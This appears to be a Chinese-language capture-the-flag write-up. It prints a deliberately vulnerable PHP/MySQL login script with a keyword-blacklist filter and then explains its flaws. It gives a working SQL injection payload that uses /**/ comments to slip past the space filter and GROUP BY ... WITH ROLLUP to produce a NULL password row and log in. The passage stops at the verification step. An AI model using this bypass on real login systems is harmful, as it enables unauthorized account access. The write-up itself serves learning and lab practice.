1.阅读代码
代码如下
<?php
$flag="";
function replaceSpecialChar($strParam){//定义替换方法
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
//用上面的正则匹配传入变量,并把匹配内容替换为空
}
if (!$con)//判断数据库连接是否成功
{
die('Could not connect: ' . mysqli_error());//失败输出mysql报错并退出
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
//判断原始传入username长度和与经过替换方法的长度是否一致
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
//判断原始传入password长度和与经过替换方法的长度是否一致
}
$sql="select * from user where username = '$username'";//定义sql语句
$result=mysqli_query($con,$sql);//进行sql请求
if(mysqli_num_rows($result)>0){//判断是否有请求返回数据
while($row=mysqli_fetch_assoc($result)){//获取请求返回数据
if($password==$row['password']){
//判断返回数据用户输入passwrod==数据库password
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
2.代码漏洞点:
1.对sql语句的过滤不完整,导致造成sql注入点。
2.获取请求数据的方法有逻辑漏洞,while($row=,mysqli_fetch_assoc($result))会循环判断请求获
取的数据库的所有行,所以if(mysql_num_rows($result)>0)处建议改为
if(mysql_num_rows($result)===1)
3.观点验证
我们对username进行下面请求1'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#🔄 ❓
解读payload首先用/**/的目的是为了绕过空格/**/为sql语句注释符,用法如下:
/**/正规用法:SELECT * FROM TableName;/*是的这是一段注释我只是为了注释而已*/
SELECT * FROM TableName;/*获取tablename的所有字段。*/
SELCET*FROMTableName;/*报错,因为连在一起mysql会把他当作一个整体。*/
SELECT/**/*/**/FROM/**/TableName;/*获取tablename的所有字段*/
1'or/**/1=1//这部分是因为题目给的admin数据库里面绝对没这条数据。or语句为真会返回true,为true则会返回数据库所有数据,实验如下:
并且因为代码本身就有逻辑漏洞会把查询的所有数据都给循环判断:
if(mysqli_num_rows($result)>0){//判断是否有请求返回数据
while($row=mysqli_fetch_assoc($result)){//获取请求返回数据
if($password==$row['password']){
//判断返回数据用户输入passwrod==数据库password
echo "登陆成功<br>";
echo $flag;
}
group/**/by/**/password/**/with/**/rollup#这部分的目的是为了给SELECT返回的表password字段构造出一个为NULL的行这样我们只需要让password等于NULL即可完成登录。
进行验证: